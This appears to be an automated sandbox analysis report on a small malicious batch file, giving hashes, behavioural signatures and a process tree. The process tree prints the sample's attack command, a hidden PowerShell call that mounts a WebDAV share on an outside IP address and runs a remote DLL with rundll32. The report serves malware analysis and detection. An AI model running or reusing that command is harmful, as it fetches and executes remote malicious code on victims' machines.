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Analysis
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max time kernel
100s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
15/07/2024, 08:33
Static task
static1
Behavioral task
behavioral1
Sample
28616195941126932125.bat
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
28616195941126932125.bat
Resource
win10v2004-20240709-en
General
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Target
28616195941126932125.bat
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Size
2KB
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MD5
b41047fe8d119c6791306006dd14b9e5
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SHA1
7174ac845d217f6eede3f5ef24ee69365f953769
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SHA256
a847964b026d52acba8e71b0d71e47dd861d50b632527f839597aff9f2d4199a
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SHA512
a8714b923a51d0635e31e70289feaa72eb36f755cc5c685c71b8c10dde16faece5fab7000b6c18a4ad74a25beb71a1c8d10c9f475d1a1d6f9c40c5fe290cf1d4
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4276 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4276 powershell.exe 4276 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4276 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1212 wordpad.exe 1212 wordpad.exe 1212 wordpad.exe 1212 wordpad.exe 1212 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4800 wrote to memory of 1212 4800 cmd.exe 85 PID 4800 wrote to memory of 1212 4800 cmd.exe 85 PID 4800 wrote to memory of 4276 4800 cmd.exe 87 PID 4800 wrote to memory of 4276 4800 cmd.exe 87 PID 4276 wrote to memory of 3212 4276 powershell.exe 89 PID 4276 wrote to memory of 3212 4276 powershell.exe 89 PID 4276 wrote to memory of 2964 4276 powershell.exe 90 PID 4276 wrote to memory of 2964 4276 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\28616195941126932125.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:1212
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1487.dll,entry2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4276 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\3⤵PID:3212
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1487.dll,entry3⤵PID:2964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3636
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82